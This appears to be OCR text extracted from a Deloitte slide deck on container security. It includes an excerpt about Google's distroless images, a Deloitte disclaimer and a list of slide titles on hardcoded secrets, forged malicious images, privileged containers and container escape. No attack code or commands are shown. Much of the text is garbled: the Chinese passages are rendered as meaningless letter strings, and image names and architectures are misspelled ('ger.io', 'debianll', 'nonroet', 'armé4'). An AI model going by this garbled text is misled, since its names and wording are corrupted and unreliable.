https://github.com/GoogleContainerTools/distroless

@ Why should | use distroless images?

Restricting what's in your runtime container to precisely what's necessary for your app is a best practice employed by
Google and other tech giants that have used containers in production for many years. It improves the signal to noise
of scanners (e.g. CVE) and reduces the burden of establishing provenance to just what you need.

Distroless images are very small. The smallest distroless image, ger.io/distroless/static-debianll , is around 2 MiB.

That's about 50% of the size of alpine (~5 MiB), and less than 2% of the size of debian (124 MiB).

How do | use distroless images?

These images are built using bazel, but they can also be used through other Docker image build tooling.

What images are available?

The following images are currently published and updated by the distroless project (see SUPPORT_POLICY for
support timelines)

Debian 12
Image Tags Architecture Suffixes
. , , latest, nonroet, debug, debug- amd64, armé4, arm, s390x,
gcr.io/distroless/static-debian12
nonroot ppcbdle
latest, nonroot, debug, debug- amd64, armé4, arm, s390x,
gcr.io/distroless/base-debian12 9 9
nonroot ppcbdle

60



+ A
% At

HERERERA RE— TR

61



=+
TS :%I:I

oo®
.
.
.
®
.

e
.
.
*e,
.
.
.
.

BREARMEENENBPERBEOSKERN - IR - AP £
wE  FEAZENTHEEEZS

BB O EBRIRNE SR EE - WiERERBHIUERS IR

BRIEBEINE - FRIFEZLL Privileged flag BT 28 - W= O BEAEE
H root #ER#H1T

AREEENHR R LN EZERS - UEESRAVEITIAEIL KR
REENZEHE

HFEEREY  BERERASE/INMENERRERE  BERALVENGHSY
TE - B4 shell



Deloitte

Deloitte ;= f5Deloitte Touche Tohmatsu Limited (BIE"DTTL") - MUAE—RHAZREEMAEABEERE - DITLIEE—ESEFMREEBEERIER
EEBIAEMUZERERER  DITLLALEFRERTE - 332 www.deloitte.com/about T FRE % -

Deloitte 52 X (Deloitte AP)Z —RFWABRABIRAT - thEZDTTLR—FRE B - Deloitte AN EMABRNME - EREABILARMUZER
FRER - RERBE100ZEM B - 815 : B - 88 bR JOR - &8 - BNE - SEK - BFEN - EWA - AR 8% £8 -
ok - BFH - QdbMRR

ALEDEE—BRIEERRRMA - EHHAZSEZH - Deloitte RE & SFTEARMMIIE (M "Deloitte i R" ) AEXR LY M KRB ERIA
RUBEZSRIRE - EUAEMRENRIE OB UBERFEEXMBENEEARSHITHAR - BLEAERER - BEBALRYMERIER
ZEMA - Deloitte i 8 2 E—fEES I A K HIB R REQEE -

© 2024 ENFERERRIEFTA RE—THEF]

EIE SV



	投影片 1
	投影片 2: whoami
	投影片 3
	投影片 4: 軟體開發型態改變
	投影片 5: 軟體開發型態的改變
	投影片 6: DevOps的關鍵技術
	投影片 7: 微服務架構
	投影片 8: 容器化技術
	投影片 9: Virtual Machines vs Container
	投影片 10: 容器安全的重要性
	投影片 11: 容器的本質
	投影片 12: Questions
	投影片 13: Key Technical
	投影片 14: Key Technical
	投影片 15: Containerized Process
	投影片 16: Containerized Process
	投影片 17: 容器內的root是root嗎
	投影片 18: 容器內的root是root嗎
	投影片 19: 容器內的root是root嗎
	投影片 20: 容器內的root是root嗎
	投影片 21: 容器內的root是root嗎
	投影片 22: 常見安全防護技術
	投影片 23: 容器的威脅與風險
	投影片 24: 從技術階段分類
	投影片 25: Container Life Cycle
	投影片 26: NIST SP 800-190
	投影片 27: NIST SP 800-190
	投影片 28: MITRE ATT&CK Containers Matrix 
	投影片 29: 開發維運中的安全小提醒
	投影片 30: 致Dev與Ops的容器安全小提醒
	投影片 31: Hardcoded Secrets
	投影片 32: Hardcoded Secrets
	投影片 33: Hardcoded Secrets - save to tar file
	投影片 34: Hardcoded Secrets - Image查看工具 dive
	投影片 35: Hardcoded Secrets - 容器分層概念
	投影片 36: Hardcoded Secrets - 容器分層概念
	投影片 37: Hardcoded Secrets - Docker Image 查看分層
	投影片 38: Hardcoded Secrets - Docker commit
	投影片 39: Hardcoded Secrets - Docker commit
	投影片 40: Hardcoded Secrets - Docker commit
	投影片 41: Insecure Container Images
	投影片 42: Insecure Container Images - 惡意Images
	投影片 43: Insecure Container Images - 惡意Images偽造
	投影片 44: Insecure Container Images - 惡意Images偽造
	投影片 45: Insecure Container Images - 惡意Images偽造
	投影片 46: Insecure Container Images - 惡意Images偽造
	投影片 47: Insecure Container Images - 惡意Images偽造
	投影片 48: Insecure Container Images - 惡意Images偽造
	投影片 49: Insecure Container Images - 具有漏洞的Image
	投影片 50: Insecure Container Images - 漏洞掃描工具
	投影片 51: Privileged Containers
	投影片 52: What Privileged Flag Do
	投影片 53: What Privileged Flag Do
	投影片 54: Tips - 以黑箱方式測試容器跳脫
	投影片 55: What Privileged Flag Do
	投影片 56: What Privileged Flag Do
	投影片 57: Log Monitoring and Observability 
	投影片 58: Log Monitoring and Observability 
	投影片 59: Containers without Shell
	投影片 60: Containers without Shell - Distroless Image 
	投影片 61: 結論
	投影片 62: 總結
	投影片 63

